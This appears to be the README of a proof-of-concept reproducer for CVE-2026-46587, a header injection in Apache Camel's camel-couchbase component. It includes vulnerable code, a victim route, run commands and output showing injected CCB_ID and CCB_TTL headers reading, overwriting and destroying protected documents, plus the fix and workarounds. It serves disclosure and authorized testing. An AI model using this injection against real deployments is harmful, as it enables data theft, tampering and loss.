
Reproducteur pour CVE-2026-46587 : injection d'en-tête CCB_* camel-couchbase Apache Camel permettant la divulgation de documents, la falsification et la destruction de données forcée par TTL (corrigé dans 4.14.8/4.18.3/4.21.0)
CCB_* Reproducateur d'injection d'en-tête (CVE-2026-46587)Ce projet démontre une injection d'en-tête de message dans le composant camel-couchbase d'Apache Camel, suivie comme CVE-2026-46587. Le composant lit plusieurs en-têtes Exchange pour contrôler son comportement — CCB_KEY (clé du document), CCB_ID (identifiant du document), CCB_TTL (expiration du document), CCB_DDN (nom du document de conception) et CCB_VN (nom de la vue). Les valeurs textuelles de ces constantes d'en-tête (définies dans CouchbaseConstants) sont des noms simples sans préfixe plutôt que les noms préfixés Camel utilisés par tous les autres composants (par exemple ). La stratégie entrante de Camel ne bloque que les noms d'en-tête commençant par / , donc ces noms traversent le filtre entrant inchangés. Lorsqu'une route expose un point d'entrée HTTP (par exemple platform-http) devant un producteur couchbase, un client HTTP non fiable peut définir ces en-têtes directement et .
CamelSqlQueryHttpHeaderFilterStrategyCamelcamelCette preuve de concept démontre trois impacts distincts à partir de la même faille :
CCB_ID injecté lit un document en dehors du périmètre de l'appelant.CCB_ID injecté sur une écriture écrase un document protégé.CCB_TTL=1 injecté force le document de l'appelant à s'auto-détruire silencieusement.| Propriété | Valeur |
|---|---|
| Composant | camel-couchbase |
| Classe affectée | org.apache.camel.component.couchbase.CouchbaseProducer lisant CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), etc. |
| CWE | CWE-20 : Validation incorrecte des entrées |
| Impact | Un client HTTP définit les en-têtes CCB_* → remplace l'identifiant du document / TTL / doc de conception / vue → divulgation, altération, perte de données |
| Conditions préalables | Une route expose un producteur couchbase derrière un consommateur HTTP (par exemple platform-http) ; non authentifié lorsque le consommateur l'est |
| Versions affectées | De 4.0.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| Correctif | PR apache/camel#23228 (main), rétroporté via #23230 (4.18.x) / #23231 (4.14.x) |
| Crédit | Yu Bao (PayPal) |
Même famille d'injection d'en-tête que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 et CVE-2026-47323. Le correctif partage sa PR avec l'avis jumeau CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
Le correctif (4.14.8 / 4.18.3 / 4.21.0) renomme les valeurs des en-têtes selon la convention Camel — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — de sorte qu'elles sont bloquées par le HttpHeaderFilterStrategy entrant comme tous les autres en-têtes de contrôle Camel. Les noms des constantes Java restent inchangés.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
La route utilise par défaut l'identifiant du document comme étant le brouillon de l'appelant et, comme durcissement documenté, supprime l'espace de noms des en-têtes de contrôle Camel à la frontière. Cela n'aide pas : les en-têtes de remplacement sont nommés CCB_ID / CCB_TTL, pas CamelCouchbaseId / CamelCouchbaseTtl, donc ils ne sont supprimés ni par removeHeaders("Camel*") ni par le filtre d'en-tête HTTP intégré — et le producteur les honore.
La base de données est initialisée avec deux documents : user-draft (le propre document de l'appelant) et system-config (un document sensible que le point d'accès ne doit jamais exposer).
La victime correspond aux routes Camel et à leur base de données Couchbase ; l'attaquant est un client HTTP non authentifié qui définit uniquement des en-têtes de requête. Un petit harnais SDK initialise et lit les documents pour vérification, indépendamment de la route vulnérable.
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
Le fichier compose initialise un cluster Couchbase à un seul nœud (KV uniquement), crée le bucket
mybucketet unappuser, puis démarre l'application. Un alias réseau en pointillé (couchbase.cve.local) est utilisé comme nom d'hôte du nœud car Couchbase rejette les noms d'hôte courts.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
Toute route avec un producteur couchbase accessible depuis un consommateur HTTP. En-têtes injectables : CCB_ID / CCB_KEY (identifiant/clé du document → lire, écraser ou supprimer des documents arbitraires), CCB_TTL (expiration forcée → perte de données), et, côté consommateur, CCB_DDN / CCB_VN (noms de document de conception et de vue).
Mettez à jour vers 4.14.8 / 4.18.3 / 4.21.0 (PR de l'avis #23228). Après le correctif, les en-têtes de remplacement portent le préfixe Camel (CamelCouchbaseId, CamelCouchbaseTtl, …) et sont filtrés à la frontière HTTP comme tous les autres en-têtes de contrôle.
En attendant la mise à jour, supprimez les en-têtes affectés des messages entrants non fiables avant qu'ils n'atteignent le producteur, par exemple .removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") et .removeHeader("CCB_VN") devant le point d'accès couchbase, ou appliquez une HeaderFilterStrategy personnalisée qui bloque ces noms.
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.